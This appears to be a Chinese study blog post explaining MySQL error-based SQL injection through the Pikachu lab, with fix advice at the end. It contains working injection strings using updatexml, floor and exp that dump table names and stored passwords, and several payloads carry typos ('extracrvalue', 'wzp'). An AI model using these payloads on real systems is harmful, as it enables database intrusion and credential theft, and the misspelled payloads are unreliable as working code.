SQL報錯注入常用函數
- 2020 年 4 月 1 日
- 筆記
注:本文僅供學習參考
SQL報錯注入定義 SQL報錯注入基於報錯的信息獲取,雖然數據庫報錯了,當我們已經獲取到我們想要的數據。例如在增加刪除修改處嘗試(insert/update/delete)。
報錯注入條件: 後台沒有屏蔽數據庫報錯信息,在語法發生錯誤的時候會輸出在前端。
常用四個報錯函數 updatexml():是mysql對xml文檔數據進行查詢和修改的xpath函數 extractvalue():是mysql對xml文檔數據進行查詢的xpath函數 floor():mysql中用來取整的函數 exp():此函數返回e(自然對數的底)指數X的冪值
updatexml函數的作用就是改變(查找並替換)xml文檔中符合條件的節點的值
語法:updatexml(xml_document,XPthstring,new_value) 第一個參數是字符串 第二個參數是指定字符串中的一個位置(Xpath格式的字符串) 第三個參數是將要替換成什麼 Xpath定位必須是有效的,否則則會發生錯誤。我們就能利用這個特性爆出我們想要的數據
下面進入靶場嘗試 註冊就是往數據庫裏面加數據,insert。
在用戶處輸入單引號 報錯
我們可以猜測他後端的語句是
insert into user(name,password,sex,phone,address1,address2) value('xxx',123,1,2,3,4)
我們可以在xxx出爆我們想要的數據
' or updatexml(0,concat(0x7e,select database()),1)'
需要單引號閉合前面和後面,使我們的語句逃逸出來
可以看到成功爆出數據庫。我們來分析一下為什麼會成功 當我們輸入payload
' or updatexml(0,concat(0x7e,select database()),1)or'
他後端就被我們拼接為
insert into user(name,password,sex,phone,address1,address2) value('' or updatexml(1,concat(0x7e,database()),0) or '',
這樣就會使我們的語句執行成功(後面爆數據就不一一展示了就在database()那裡換就行)
extractvalue()函數的作用是從目標xml中返回包含所查詢值的字符串 extractvalue (XML_document, XPath_string); 第一個參數:XML_document是String格式,為XML文檔對象的名稱,文中為doc 第二個參數:XPath_string(Xpath格式的字符串) Xpath定位必須是有效的,否則則會發生錯誤 用法其實跟updatexml一樣 構建payload
' or extracrvalue(0,concat(0x7e,database())) or '
但要注意xpath回顯只有一位使用limit函數逐個爆,且最長為32位,超過32位爆不了 所以使用其他函數
floor() floor是mysql的一個取整函數
payload:Select count(*),concat(**PAYLOAD**,floor(rand(0)*2))**x** from 表名 group by **x**; 爆庫' and (select 2 from (select count(*),concat(database(),floor(rand(0)*2)) x from information_schema.tables group by x) a)and ' 爆表 ' and (select 2 from (select count(*),concat((select table_name from information_schema.tables where table_schema='pikachu' limit 3,1),floor(rand(0)*2)) x from information_schema.tables group by x) a)and ' 爆列 ' and (select 2 from (select count(*),concat((select column_name from information_schema.columns where table_name='users' limit 1,1),floor(rand(0)*2)) x from information_schema.tables group by x) a)and ' 爆內容 ' and (select 2 from (select count(*),concat((select concat(':',username,password) from users limit 0,1),floor(rand(0)*2)) x from information_schema.tables group by x) a)and '
成功
exp函數 當傳遞一個大於709的值時,函數exp()就會引起一個溢出錯誤。
' or EXP(~(SELECT * from(select version())a)) or ' 爆表' or exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema = 'pikachu')a)) or ' 爆列' or exp(~(select * from(select group_concat(column_name) from information_schema.columns where table_name = 'users')a)) or ' 爆數據 ' or wzp(~(select * from(select password from users limit 0,1)a)) or '
mysql報錯注入修復方法: 1. 屏蔽能造成報錯注入的各種函數,函數 2. 對輸入長度做限制,對用戶輸入做預處理 3. 對各種報錯注入的返回結果,統一返回至不包含任何錯誤提示信息的回顯頁面。 4.使用數據庫防火牆,精準分析業務SQL和危險SQL,攔截SQL注入等危險語句。
最常用的大概是這幾種,據了解好像有12中報錯函數,其實目的都是使數據庫報錯從而得到我們想要的信息,只是語法不相同而已。繼續加油!